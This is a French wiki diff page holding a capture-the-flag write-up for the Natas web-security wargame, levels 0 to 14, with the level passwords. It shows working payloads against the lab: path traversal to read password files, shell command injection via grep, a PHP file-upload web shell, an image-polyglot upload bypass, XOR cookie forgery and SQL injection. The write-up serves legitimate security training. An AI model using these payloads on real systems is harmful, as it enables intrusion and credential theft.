Outils d'utilisateurs

Outils du Site


natas_wargame

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

natas_wargame [2012/11/09 14:08]
TechBrunch
natas_wargame [2017/04/09 15:33] (Version actuelle)
Ligne 2: Ligne 2:
  
  
-Natas teaches the basics of serverside web-security. 
  
-Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, where X is the level number. There is no SSH login. To access a level, enter the username for that level (e.g. natas0 for level 0) and its password. +>Natas teaches the basics of serverside web-security. 
- +
-Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5. +>Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, where X is the level number. There is no SSH login. To access a level, enter the username for that level (e.g. natas0 for level 0) and its password. 
- +> 
-Start here: +>Each level has access to the password of the next level. Your job is to somehow obtain that next password and >level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the >file /etc/natas_webpass/natas5 and only readable by natas4 and natas5. 
- +> 
-Username: natas0 +>Start here: 
-Password: natas0 +> 
-URL: http://natas0.natas.labs.overthewire.org+>Username: natas0 
 +>Password: natas0 
 +>URL: http://natas0.natas.labs.overthewire.org
  
  
Ligne 19: Ligne 20:
  
  
-[blockquote]You can find the password for the next level on this page.[/blockquote]+>You can find the password for the next level on this page.
  
 Un petit clic droit et "Afficher le code source de la page" et c'est gagner ! Un petit clic droit et "Afficher le code source de la page" et c'est gagner !
  
 +<code html>
 <div id="content"> <div id="content">
 You can find the password for the next level on this page. You can find the password for the next level on this page.
 <!--The password for natas1 is 9hSaVoey44Puz0fbWlHtZh5jTooLVplC --> <!--The password for natas1 is 9hSaVoey44Puz0fbWlHtZh5jTooLVplC -->
 </div> </div>
 +</code>
  
 ===== Level 1 ===== ===== Level 1 =====
  
  
-[blockquote]You can find the password for the next level on this page, but rightclicking has been blocked![/blockquote]+>You can find the password for the next level on this page, but rightclicking has been blocked!
  
 Le clic droit a été désactivé sur la page avec du javascript plusieurs solutions s'offrent à nous : Le clic droit a été désactivé sur la page avec du javascript plusieurs solutions s'offrent à nous :
  
-Désactiver le javascript ( Sous chrome Ctrl + Shift + J et ensuite modifier les paramètres en cliquant sur l'engrenage en bas à droite) +  * Désactiver le javascript ( Sous chrome Ctrl + Shift + J et ensuite modifier les paramètres en cliquant sur l'engrenage en bas à droite) 
-Modifier l'url pour accéder directement au code source : view-source:http://natas0.natas.labs.overthewire.org/+  * Modifier l'url pour accéder directement au code source : view-source:http://natas0.natas.labs.overthewire.org/ 
 + 
 +<code html>
 <div id="content"> <div id="content">
 You can find the password for the You can find the password for the
Ligne 43: Ligne 47:
 <!--The password for natas2 is aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl --> <!--The password for natas2 is aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl -->
 </div> </div>
 +</code>
  
 ===== Level 2 ===== ===== Level 2 =====
  
  
-[blockquote]There is nothing on this page[/blockquote]+>There is nothing on this page
  
 On jette un petit coup d'oeil au code source : On jette un petit coup d'oeil au code source :
  
 +<code html>
 <div id="content"> <div id="content">
 There is nothing on this page There is nothing on this page
 <img src="files/pixel.png"> <img src="files/pixel.png">
 </div> </div>
 +</code>
 +
 Tient un répertoire "files" allons voir ce qu'il contient : Tient un répertoire "files" allons voir ce qu'il contient :
  
 Le répertoire contient deux fichier : Le répertoire contient deux fichier :
  
-pixel.png +  * pixel.png 
-user.txt+  * user.txt 
 Le fichier user.txt contient le mot de passe pour le niveau suivant. Le fichier user.txt contient le mot de passe pour le niveau suivant.
  
 +<file>
 # username:password # username:password
 alice:BYNdCesZqW alice:BYNdCesZqW
Ligne 71: Ligne 80:
 eve:zo4mJWyNj2 eve:zo4mJWyNj2
 mallory:9urtcpzBmH mallory:9urtcpzBmH
 +</file>
  
- +===== Level 3 =====
-===== Level 3 +
- =====+
  
 Même message qu'au level 2 on check le code source : Même message qu'au level 2 on check le code source :
  
 +<code html>
 <div id="content"> <div id="content">
 There is nothing on this page There is nothing on this page
 <!-- No more information leaks!! Not even Google will find it this time... --> <!-- No more information leaks!! Not even Google will find it this time... -->
 </div> </div>
 +</code>
 +
 Tient même google ne pourrait pas trouver le mot de passe, cela fait tout de suite penser au fichier "robots.txt" qui permet d'indiquer au bots des moteurs de recherches quelles pages ne doivent pas être indexées. Tient même google ne pourrait pas trouver le mot de passe, cela fait tout de suite penser au fichier "robots.txt" qui permet d'indiquer au bots des moteurs de recherches quelles pages ne doivent pas être indexées.
  
 Contenu  du fichier "robots.txt" : Contenu  du fichier "robots.txt" :
  
 +<file>
 User-agent: * User-agent: *
 Disallow: /s3cr3t/ Disallow: /s3cr3t/
 +</file>
 +
 Bingo ! Un dossier secret contenant un fichier "users.txt" : Bingo ! Un dossier secret contenant un fichier "users.txt" :
  
 +<file>
 natas4:8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz natas4:8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz
 +</file>
  
 ===== Level 4 ===== ===== Level 4 =====
Ligne 98: Ligne 113:
 Un message nous indique que seul les personnes provenant du level 5 seront authentifiés. Un message nous indique que seul les personnes provenant du level 5 seront authentifiés.
  
-[blockquote]Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"[/blockquote]+>Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
  
 Il suffit de changer le referer pour cela j'ai utilisé Tamper Data sour Firefox et Referer Control sous Chrome. Il suffit de changer le referer pour cela j'ai utilisé Tamper Data sour Firefox et Referer Control sous Chrome.
Ligne 104: Ligne 119:
 On recharge la page et c'est dans la poche : On recharge la page et c'est dans la poche :
  
-[blockquote]Access granted. The password for natas5 is V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z[/blockquote] +>Access granted. The password for natas5 is V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z
  
  
Ligne 113: Ligne 127:
 Le message d’accueil n'est pas très explicite : Le message d’accueil n'est pas très explicite :
  
-[blockquote]Access disallowed. You are not logged in[/blockquote]+>Access disallowed. You are not logged in
  
 On jette un coup d'oeil au code source rien d'intéressant. Par contre un nouveau cookie est présent nommé "loggedin" avec une valeur à 0. On passe la valeur à 1 (j'ai utilisé le plugin Edit this cookie sous chrome), on recharge la page et on est loggé. On jette un coup d'oeil au code source rien d'intéressant. Par contre un nouveau cookie est présent nommé "loggedin" avec une valeur à 0. On passe la valeur à 1 (j'ai utilisé le plugin Edit this cookie sous chrome), on recharge la page et on est loggé.
  
-[blockquote]Access granted. The password for natas6 is mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU[/blockquote]+>Access granted. The password for natas6 is mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU
  
  
Ligne 126: Ligne 140:
 On se retrouve devant un formulaire qui requiert une clé : On se retrouve devant un formulaire qui requiert une clé :
  
 +<code html>
 <div id="content"> <div id="content">
 <form method=post> <form method=post>
Ligne 133: Ligne 148:
 <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
 </div> </div>
 +</code>
 +
 On a de la chance le code source est accessible, voici le code php qui permet de vérifier la clé : On a de la chance le code source est accessible, voici le code php qui permet de vérifier la clé :
  
 +<code php>
 <? <?
 include "includes/secret.inc"; include "includes/secret.inc";
Ligne 146: Ligne 164:
     }     }
 ?> ?>
 +</code>
 +
 La clé est stockée dans une variable $secret probablement initialisé dans le fichier secret.inc qui se situe dans le dossier includes : La clé est stockée dans une variable $secret probablement initialisé dans le fichier secret.inc qui se situe dans le dossier includes :
  
 +<code php>
 <? <?
   $secret = "FOEIUWGHFEEUHOFUOIU";   $secret = "FOEIUWGHFEEUHOFUOIU";
 ?> ?>
 +</code>
 +
 On rentre la clé dans le formulaire et hop direction le prochain niveau : On rentre la clé dans le formulaire et hop direction le prochain niveau :
  
-[blockquote]Access granted. The password for natas7 is XLoIufz83MjpTrtPvP9iAtgF48EWjicU[/blockquote]+>Access granted. The password for natas7 is XLoIufz83MjpTrtPvP9iAtgF48EWjicU
  
  
Ligne 162: Ligne 185:
 On se retrouve avec un deux liens vers des pages différentes : On se retrouve avec un deux liens vers des pages différentes :
  
 +<code html>
 <div id="content"> <div id="content">
 <a href="index.php?page=home">Home</a> <a href="index.php?page=home">Home</a>
Ligne 169: Ligne 193:
 <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --> <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
 </div> </div>
 +</code>
 +
 Les pages sont inclue dynamiquement via un paramètre page en GET. Essayons avec page=test : Les pages sont inclue dynamiquement via un paramètre page en GET. Essayons avec page=test :
  
 +<file>
 Warning: include(test): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 13  Warning: include(test): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 13 
 Warning: include(): Failed opening 'test' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 13 Warning: include(): Failed opening 'test' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 13
 +</file>
 +
 On se retrouve avec une belle erreur php, qui permet d'obtenir un Full Path Disclosure combiné avec une faille include qui nous permet d'accéder au fichier contenant le mot de passe en utilisant l'adresse suivante : http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8 : On se retrouve avec une belle erreur php, qui permet d'obtenir un Full Path Disclosure combiné avec une faille include qui nous permet d'accéder au fichier contenant le mot de passe en utilisant l'adresse suivante : http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8 :
  
 +<code html>
 <div id="content"> <div id="content">
  
Ligne 182: Ligne 212:
 <br> <br>
 maabkdexUStb6JJXUqmBx7Re8M61cksn maabkdexUStb6JJXUqmBx7Re8M61cksn
- 
 <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --> <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
 </div> </div>
 +</code>
  
 ===== Level 8 ===== ===== Level 8 =====
Ligne 192: Ligne 221:
 Même chose que pour le level 6 on doit trouver une clé et le code source est accessible : Même chose que pour le level 6 on doit trouver une clé et le code source est accessible :
  
 +<code php>
 <? <?
  
Ligne 208: Ligne 238:
 } }
 ?> ?>
 +</code>
 +
 Pour trouver la clé il faut effectuer la fonction inverse de "encodeSecret" sur la clé contenu dans le variable $encodeSecret c'est à dire dans l'ordre : Pour trouver la clé il faut effectuer la fonction inverse de "encodeSecret" sur la clé contenu dans le variable $encodeSecret c'est à dire dans l'ordre :
  
-Conversion de l'hexadécimal en binaire ce qui nous donne "==QcCtmMml1ViV3b" (j'utiliser pour cela Xlate) +  - Conversion de l'hexadécimal en binaire ce qui nous donne "==QcCtmMml1ViV3b" (j'utiliser pour cela Xlate) 
-On inverse l'ordre des caractères en utilisant la fonction  strrev ce qui nous donne "b3ViV1lmMmtCcQ==" +  - On inverse l'ordre des caractères en utilisant la fonction  strrev ce qui nous donne "b3ViV1lmMmtCcQ==" 
-On décode en base64 ce qui nous donne "oubWYf2kBq" +  - On décode en base64 ce qui nous donne "oubWYf2kBq" 
-[blockquote]Access granted. The password for natas9 is sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT[/blockquote]+ 
 +>Access granted. The password for natas9 is sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT
  
 ===== Level9 ===== ===== Level9 =====
Ligne 220: Ligne 253:
 On rentre des lettres dans un formulaire et il nous ressort une liste de mot contenant la chaine de caractère  depuis un dictionnaire, voici le code source : On rentre des lettres dans un formulaire et il nous ressort une liste de mot contenant la chaine de caractère  depuis un dictionnaire, voici le code source :
  
 +<code php>
 <? <?
 $key = ""; $key = "";
Ligne 231: Ligne 265:
 } }
 ?> ?>
 +</code>
 +
 La fonction passthru() est simailaire à la fonction excec() et permet d'exécuter une commande, dans notre cas la commande grep avec l'option -i (qui permet d'ignorer la case)  et en paramètre la clé que l'on fourni et le dictionnaire dans lequel on doit chercher. La fonction passthru() est simailaire à la fonction excec() et permet d'exécuter une commande, dans notre cas la commande grep avec l'option -i (qui permet d'ignorer la case)  et en paramètre la clé que l'on fourni et le dictionnaire dans lequel on doit chercher.
  
 L'idée va être de modifier la commande afin de faire afficher la clé du prochain niveau. En utilisant comme clé "xyz dictionary.txt; cat /etc/natas_webpass/natas10 #" on exécute deux commande et la clé vers le niveau suivant s'affiche : L'idée va être de modifier la commande afin de faire afficher la clé du prochain niveau. En utilisant comme clé "xyz dictionary.txt; cat /etc/natas_webpass/natas10 #" on exécute deux commande et la clé vers le niveau suivant s'affiche :
  
 +<file>
 Output: Output:
  
 s09byvi8880wqhbnonMFMW8byCojm8eA s09byvi8880wqhbnonMFMW8byCojm8eA
-Par contre je ne comprend pas pourquoi il nous affiche l'ensemble du dico avec, c'est probablement parce que l'épreuve est simulée l'utilisation de la fonction passthru étant risquée. +</file>
- +
  
 ===== Level 10 ===== ===== Level 10 =====
Ligne 247: Ligne 282:
 Même chose que le level9 sauf que cette fois ci les caratères "|" , ";" et "&" sont filtrés : Même chose que le level9 sauf que cette fois ci les caratères "|" , ";" et "&" sont filtrés :
  
 +<code php>
 <? <?
 $key = ""; $key = "";
Ligne 262: Ligne 298:
 } }
 ?> ?>
 +</code>
 +
 Cette fois ci on va aller chercher la clé directement là où elle est censé se trouver et non pas dans dictionary.txt pour cela on utilise le caractère "#' qui permet d'ignorer la fin de la commande : Cette fois ci on va aller chercher la clé directement là où elle est censé se trouver et non pas dans dictionary.txt pour cela on utilise le caractère "#' qui permet d'ignorer la fin de la commande :
  
 a /etc/natas_webpass/natas11 # a /etc/natas_webpass/natas11 #
 +
 Et la clé s'affiche \o/ : Et la clé s'affiche \o/ :
  
 +<file>
 Output: Output:
  
 SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6 SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6
-Et voila c'est fini pour aujourd'huiprochain article on s'attaque au levels 11 à 17 ça va commencer à se corser un peu ;)+</file> 
 + 
 +===== Level 11 ===== 
 + 
 +Voici le code du level 11 : 
 + 
 +<code php> 
 +<? 
 + 
 +$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); 
 + 
 +function xor_encrypt($in) { 
 +    $key = '<censored>'
 +    $text = $in; 
 +    $outText = ''; 
 + 
 +    // Iterate through each character 
 +    for($i=0;$i<strlen($text);$i++) { 
 +    $outText .= $text[$i] ^ $key[$i % strlen($key)]; 
 +    } 
 + 
 +    return $outText; 
 +
 + 
 +function loadData($def) { 
 +    global $_COOKIE; 
 +    $mydata = $def; 
 +    if(array_key_exists("data"$_COOKIE)) { 
 +    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); 
 +    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { 
 +        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { 
 +        $mydata['showpassword'] = $tempdata['showpassword']; 
 +        $mydata['bgcolor'] = $tempdata['bgcolor']; 
 +        } 
 +    } 
 +    } 
 +    return $mydata; 
 +
 + 
 +function saveData($d) { 
 +    setcookie("data", base64_encode(xor_encrypt(json_encode($d)))); 
 +
 + 
 +$data = loadData($defaultdata); 
 + 
 +if(array_key_exists("bgcolor",$_REQUEST)) { 
 +    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) { 
 +        $data['bgcolor'] = $_REQUEST['bgcolor']; 
 +    } 
 +
 + 
 +saveData($data); 
 + 
 + 
 +?> 
 + 
 +<h1>natas11</h1> 
 +<div id="content"> 
 +<body style="background: <?=$data['bgcolor']?>;"> 
 +Cookies are protected with XOR encryption<br/><br/> 
 + 
 +<? 
 +if($data["showpassword"] == "yes") { 
 +    print "The password for natas12 is <censored><br>"; 
 +
 + 
 +?> 
 +</code> 
 + 
 +Que fait ce code ? 
 + 
 +  - Recherche d'un cookie encrypté nommé data comprenant deux informations showpassword et bgcolor 
 +  - S'il existe il charge la couleur stockée 
 +  - Sinon il prend une valeur par défaut 
 +  - S'il y a modification ou pas il stocke la valeur du cookie 
 + 
 +L'objectif étant de modifier la valeur du cookie afin que show password devienne égale à Yes, problème la cookie est encrypté. Il va donc falloir d'abord trouvé la clé qui permet de crypter le cookie. 
 + 
 +Si on jette un oeil à la fonction qui permet de crypter le cookie on s'aperçoit que la fonction n'effectue qu'un simple XOR. Pour retrouver la clé d'origine j'ai donc légèrement modifié la fonction de cryptage afin de retomber sur la clé. 
 + 
 +<code php> 
 +function antixor($in) { 
 +    $key = '{"showpassword":"no","bgcolor":"#ffffff"}'; 
 +    $text = $in; 
 +    $outText = ''; 
 + 
 +    // Iterate through each character 
 +    for($i=0;$i<strlen($text);$i++) { 
 +    $outText .= $text[$i] ^ $key[$i % strlen($key)]; 
 +    } 
 + 
 +    return $outText; 
 +
 +</code> 
 + 
 +En effet on sait que A ^ B = C donne C ^ A = B. Il suffit alors de faire un echo de la fonction antixor sur un cookie dont on connait la contenue. 
 +   
 +<file> 
 +echo antixor(base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw")); 
 +</file> 
 + 
 +On trouve alors que la clé est "qw8J" car le motif se répète. Une fois qu'on a la clé il suffit de la remplacer dans la fonction xor_encrypt et de l'utiliser sur un cookie dont on aura au préalable modifier la valeur du showpassword. 
 + 
 +<file> 
 +$yes = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); 
 + 
 +echo "<p>".base64_encode(xor_encrypt(json_encode($defaultdata)))."</p>"; 
 +</file> 
 + 
 +Ce qui nous donne : 
 + 
 +<file> 
 +ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK 
 +</file> 
 + 
 +On modifie donc la valeur du cookie, on recharge la page et c'est dans la poche : 
 + 
 +>The password for natas12 is sh7DrWKtb8xw9PIMkh8OQsgno6iZnJQu 
 + 
 +===== Level 12 ===== 
 + 
 +Code source du level 12 : 
 + 
 +<code php> 
 +<?   
 + 
 +function genRandomString() {  
 +    $length = 10;  
 +    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";  
 +    $string = "";      
 + 
 +    for ($p = 0; $p < $length; $p++) {  
 +        $string .= $characters[mt_rand(0, strlen($characters)-1)];  
 +    }  
 + 
 +    return $string;  
 +}  
 + 
 +function makeRandomPath($dir, $ext) {  
 +    do {  
 +    $path = $dir."/".genRandomString().".".$ext;  
 +    } while(file_exists($path));  
 +    return $path;  
 +}  
 + 
 +function makeRandomPathFromFilename($dir, $fn) {  
 +    $ext = pathinfo($fn, PATHINFO_EXTENSION);  
 +    return makeRandomPath($dir, $ext);  
 +}  
 + 
 +if(array_key_exists("filename", $_POST)) {  
 +    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);  
 + 
 +        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {  
 +        echo "File is too big";  
 +    } else {  
 +        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {  
 +            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";  
 +        } else{  
 +            echo "There was an error uploading the file, please try again!";  
 +        }  
 +    }  
 +} else {  
 +?>  
 + 
 +<form enctype="multipart/form-data" action="index.php" method="POST">  
 +<input type="hidden" name="MAX_FILE_SIZE" value="1000" />  
 +<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />  
 +Choose a JPEG to upload (max 1KB):<br/>  
 +<input name="uploadedfile" type="file" /><br />  
 +<input type="submit" value="Upload File" />  
 +</form>  
 +<? } ?> 
 +</code> 
 + 
 +On se retrouve devant un formulaire d'uploader une image au format JPEG. Le nom du fichier est randomisé grâce à la fonction genRandomString cependant l'extension est écrite en dure dans le formulaire. 
 + 
 +On va donc créer un petit fichier php permettant d'afficher la clé vers le prochain niveau : 
 + 
 +<code php> 
 +<?php 
 + passthru("cat /etc/natas_webpass/natas13"); 
 +?> 
 +</code> 
 + 
 +On modifie l'extension en éditant le code source de la page et on upload le fichier. 
 + 
 +>The file upload/cprocjo1uj.php has been uploaded 
 + 
 +Le fichier est bien uplaodé avec l'extension php il ne reste plus qu'a naviguer à l'adresse du fichier pour voir apparaître la clé : 
 + 
 +<file> 
 +IGCXqS4x472aoHZYaidvmeoWj2GmuRYz 
 +</file> 
 + 
 + 
 +===== Level 13 ===== 
 + 
 +Le niveau 13 est le même que le niveau 12 à un détail près, un test est fait pour vérifier que le fichier uploadé est bien une image. 
 + 
 +<;code php> 
 +if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {  
 +        echo "File is not an image";  
 +
 +</code> 
 + 
 +Pour contourner cette protection j'ai créé une image d'1 pixel et j'ai collé à la suite mon script php. Le fichier est uploadé correctement et lorsque l'on charge l'image on se retrouve avec ceci : 
 + 
 +<file> 
 +‰PNG  IHDRwSÞsRGB®ÎégAMA± üa pHYsÃÃÇo¨d IDATWcø¹i `ö–ºOIEND®B`‚ sSkCeug1bdrYejzAaBhgwI3qJXDKqlgh 
 +</file>  
 + 
 +La clé étant : sSkCeug1bdrYejzAaBhgwI3qJXDKqlgh 
 + 
 +===== Level 14 ===== 
 + 
 +Code source du level 14 : 
 + 
 +<code php> 
 +<?  
 +if(array_key_exists("username", $_REQUEST)) {  
 +    $link = mysql_connect('localhost', 'natas14', '<censored>');  
 +    mysql_select_db('natas14', $link);  
 + 
 +    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";  
 +    if(array_key_exists("debug", $_GET)) {  
 +        echo "Executing query: $query<br>";  
 +    }  
 + 
 +    if(mysql_num_rows(mysql_query($query, $link)) > 0) {  
 +            echo "Successful login! The password for natas15 is <censored><br>";  
 +    } else {  
 +            echo "Access denied!<br>";  
 +    }  
 +    mysql_close($link);  
 +} else {  
 +?> 
 +</code> 
 + 
 +On se retrouve devant un code vulnérable au injection SQL car les paramètres Username et Password ne sont pas du tout filtrés. 
 + 
 +Si on utiliser pour username a et comme password : a" or "a"="a : 
 + 
 +>http://natas14.natas.labs.overthewire.org/?debug&username=a&password=a" or "a"="a 
 + 
 +Le requête sera toujours vrai et donc elle retournera l'ensemble des comptes. 
 + 
 +>Executing query: SELECT * from users where username="a" and password="a" or "a"="a" 
 +>Successful login! The password for natas15 is m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV 
 + 
 + 
 +===== Level 15 ===== 
 + 
 +La solution sur [[http://www.techbrunch.fr/securite/wargame-natas-writeup-level-15/]] 
 + 
 +===== Level 16 ===== 
  
-Si vous avez des questions n'hésitez pas.+===== Level 17 =====
natas_wargame.1352466505.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)